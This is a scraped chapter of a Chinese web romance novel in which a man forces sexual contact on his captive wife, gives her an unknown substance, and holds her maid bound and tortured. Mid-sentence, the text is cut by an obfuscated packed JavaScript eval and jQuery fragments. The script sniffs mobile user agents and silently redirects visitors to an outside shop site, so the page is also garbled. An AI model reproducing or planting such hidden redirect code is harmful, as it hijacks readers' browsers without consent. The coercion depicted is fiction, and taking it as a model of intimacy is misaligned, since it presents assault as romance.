文趣网 > 其他小说 > 假夫君夺她上位 > 20. 第20章
    陆雁芝睁开眼,入目是她熟悉的床幔。

    她稍稍一动,便扯得胸口刺痛。

    “醒了?”一旁传来少年低沉的嗓音,透着几分阴寒。

    陆雁芝淡淡望向聂星渊,眼底带着疏远。

    她很意外,他竟然没有杀了她。

    聂星渊手里拿着药,走到她榻前,目光毫不避讳地看向她的胸口。

    “把衣服脱了,该换药了。”

    陆雁芝侧过头不去看他,似在无声反抗着什么。

    “怎么?还要我帮你脱吗?”聂星渊嘴角噙着戏谑,眼底却透着森冷的寒意,仿佛要穿透皮肉看进她的心里去。

    陆雁芝没有反应,聂星渊忽然笑了起来:“看来夫人还是喜欢我帮你……脱!”

    他刻意凑到她的耳旁,悠悠吐出最后一个字。

    “聂星渊!”她眼角发红,只想给他一巴掌,可刚要抬手却被他死死攥住。

    二人对视,从前她眼中独属于他的温柔缱绻,仿佛再也回不来。

    少年幽深的瞳孔微微颤动,似有什么东西在崩裂,可他依旧笑着,笑得森冷诡谲。

    陆雁芝想要反抗,却被他拘得更紧了些。

    “夫人……”他缓缓垂首,用嘴咬开她的外衫,“其实你若不戳破,我愿意一直做沈榷。”

    微凉的呼吸好似游蛇一般扑在她的肩膀,令陆雁芝忍不住瑟缩了一下。

    她闭了闭眼,倒吸了口气:“可我不愿意。”

    他擦药的动作一滞,却没有停下。

    伤口不深,冰凉的药膏涂抹在伤口,惊得她脊背发直。

    她的冷待于他而言并无影响,少年平静地做完一切,正欲为她穿回衣物。

    可陆雁芝并不甘心任由他就此摆布,只咬着牙问道:“聂副令使,眼下还有演下去的必要吗?”

    他眸光渐渐暗沉,似乎忍无可忍,随即报复般地咬上她的锁骨,又顺着她的脖颈一点点吻上来。

    “为什么……就不愿演下去了呢?嗯?”他的唇瓣缓缓擦过她的,两人的呼吸交缠错乱。

    陆雁芝自是不愿多说一个字,只是侧开面容,不去看他。

    聂星渊眼底有错愕一闪而过,随即是更为汹涌的怒意。

    他强行掰过她的脸,狠狠吻了上去。

    陆雁芝躲闪不得,被迫与他唇齿交融。

    抵死纠缠间,她气力耗尽,很快败下阵来。

    她眼底的厌恶感在他的攻势下渐渐变得麻木,最终她缓缓闭上眼,开始回应他。

    他有一瞬间的怔忡,随即眼底染上更沉的欲色,复又陷入其中。

    熟悉的呼吸,熟悉的体温,唯一不同的是,这次她身上的每一处都在对抗,仿佛浑身都扎满了刺,恨不能将他刺得满身洞。

    可饶是如此,他依旧不放开。

    鲜血顺着她的唇角溢出,旋即被他卷入口中。

    她皱了皱眉,发出一声轻哼,随即更多血从二人唇齿间流淌而出,分不清是谁的,只是稀稀落落地滴在身下的锦色被褥上。

    “咳咳……”她一把推开他,随即倒在榻边,用力地往外吐着什么。

    “你给我吃了什么?”她警惕地瞪向他,鲜血糊满她的唇角,衬着那张微微泛红的面颊,透着特别的娇媚。

    他缓缓直起身,呼吸依旧粗沉。

    “一点小礼物罢了!”他漫不经心地擦了擦嘴角的血迹,笑地没心没肺,“你一定喜欢!”

    陆雁芝逼着自己吐了许久,可那东西早已吞食入腹,一股淡淡的苦涩从舌尖蔓延至喉咙深处。

    她很快冷静下来,左右也活不长久,倒也不怕他下什么毒。

    “那些货现在哪?你们的目的是对付镇北军,还是王府?”她借机打探他的口风。

    “夫人放心,我不会让你有事。”他并不接她的话,只蹲下身子,笑着将她额际碎发勾至耳后。

    陆雁芝旋即抓住他的小臂,径直望向他:“那我父王呢?”

    聂星渊拧了拧眉,沉默片刻,似在考虑如何应答,事到如今,其实也没什么可瞒她的了。

    “镇北王私藏兵器,意图谋反,圣上自然不会放过。”

    “你能帮他吗?”她攥紧了他,攥得指尖泛了白,“只要你帮他,你想要什么我都可以给你!”

    “什么都可以?”他垂眸瞥了眼被她紧紧攥住的小臂。

    “什么都可以!”

    聂星渊沉默良久,一时间竟也说不出内心是何滋味。

    “你自顾不暇,还是担心一下自己吧!”他一把甩开了她。

    “聂星渊!”陆雁芝看着他摔门而去,刚燃起的希望复又熄灭。

    聂星渊的心思阴晴不定,她自然不会把希望寄托于他一人。

    好在他没有禁锢她的身边人,聂星渊走后不久,晚萤和听竹便被送回了她的身边。

    陆雁芝写了一封信,缝进了布条里,后又将布条缝到听竹贴身的衣物。

    明天就是第五日,是沈榷离开前最后的见面时间。

    她猜测他能在金暝卫的眼皮子底下进到宁卢城,必然有他的办法,若能将她从此地带出去,脱离了聂星渊的掌控,她总能想到别的办法解困。

    “主子放心,奴婢一定会完成任务。”

    陆雁芝有些担忧地看着听竹,温声道:“若是出了问题,就赶紧逃了吧,千万别落在他们手里。”

    金暝卫是出了名的心狠手辣,落到他们手里的后果,简直比死还难受。

    她知道论武功,听竹未必是金暝卫的对手,但若逃跑则另当别论。

    听竹走后,陆雁芝便静静地等在了屋里。

    直到月亮爬上枝头,天色擦黑,听竹依旧未归。

    陆雁芝渐渐心绪不宁起来。

    “主子,先把药喝了吧。”晚萤将汤药端上来。

    陆雁芝端了汤药,尽数喝下。

    她面上不动声色,实则心里早已乱作一团。

    倘若听竹也出事,那她便是再无翻身的余地,只怕是要在聂星渊的手里被磋磨到死。

    她攥着碗勺的手竟是不受控地颤栗起来,如此这般提心吊胆地熬了几日,竟是风平浪静、毫无波澜。

    陆雁芝也是纳闷,莫非这金暝卫的防守这般疏松,连府上少个人也毫无察觉吗?

    听竹走后的第三天,依旧是音讯全无。陆雁芝只能安慰自己,没有消息便是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713306|206666||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好消息。

    这两日聂星渊公务忙,几乎是没有回过府上。

    直到是日入夜,陆雁芝已经就寝,房门忽然被推开。

    虽说是在郡主府,但眼下的境况她自是不敢大意,听得外间动静便很快苏醒。

    她下意识地攥紧领口,透过朦胧的帘幕,窥得外面那人的身形,大抵也猜到来人是聂星渊。

    他还是如同从前那般,褪去外袍,在外面的暖炉前坐着,待驱散了寒气方才入内寻她。

    只是今日,他坐得久了些。

    就在陆雁芝以为他今夜不会再进来时,聂星渊终于起了身。

    她刚起的睡意瞬间消散。

    他抬手掀开帐幔,笑看着她,少年眉眼深邃,凉薄入骨。

    “夫人可是在等我?”他坐到榻旁,从身后将她搂入怀中,手指不安分地朝她领口探去。

    “你干什么!”陆雁芝死死攥住领口,脸色煞白。

    “看来夫人不是在等我,”少年的笑意不达眼底,连声音也透着森寒,他垂首凑到她的耳际,低声道,“夫人等的人是听竹?还是沈榷?”

    陆雁芝浑身一僵:“听竹……你把听竹怎么了?”

    “这话该是我问夫人你啊!”他将她锁在怀中,双臂越锁越紧,像是要将她整个揉进骨缝里去,“那沈榷到底哪里吸引你?你竟是要弃我去寻他?”

    陆雁芝自嘲一笑,显然是没了指望,索性破罐子破摔起来:“从始至终,我的夫君只他一人,而你……什么都不是。”

    什么都不是?

    聂星渊像是听到了什么天大的笑话,忽然大笑起来。

    他笑了许久,那笑声直听得陆雁芝心口发慌。

    直到他递出一张带血的书信,陆雁芝一眼便认出,那是她写给沈榷的书信。

    她正要伸手去够,他却反手将其递到烛火旁,书信很快燃烧起来,掉落在香炉里,最终化成一团灰烬。

    “现在呢?我也依然什么都不是吗?”他的声音里不沾染任何情绪,却听得人毛骨悚然。

    陆雁芝愣怔了许久,终于渐渐回过味来。

    “你能不能放了听竹?她是受我的命令,要杀也该杀我……”她的声音有些哽咽,她已经失去了照雪,不想再有人因她而死。

    “那得看你如何表现了,我的好夫人!”他的手再次探入她的领口,这次竟是畅通无阻。

    她的双手攀附上他的胸膛,泛红的眼尾更平添几分娇媚。

    “我想见见听竹,可以吗?”

    ……

    昏暗的房间内,女子悬挂在半空,腕上的麻绳勒进皮肉,头发散下来,黏在两颊。

    她的衣物早已辨不清原本的模样,布条垂落,肋间的伤口深可见骨,随着她微弱的呼吸起伏。

    女子抬起头,凹陷下去的眼眶里,一双眼暗淡无神。

    “主子……”听竹一眼认出了来人,却又不愿教眼前人认出她来,慌忙又垂下头去。

    陆雁芝脚步很轻,似是怕惊到她。

    “主子,是奴婢无用,不能完成任务,奴婢……愧对主子。”

    “主子莫管我,快走吧,此地脏污得很,莫脏了您的眼。”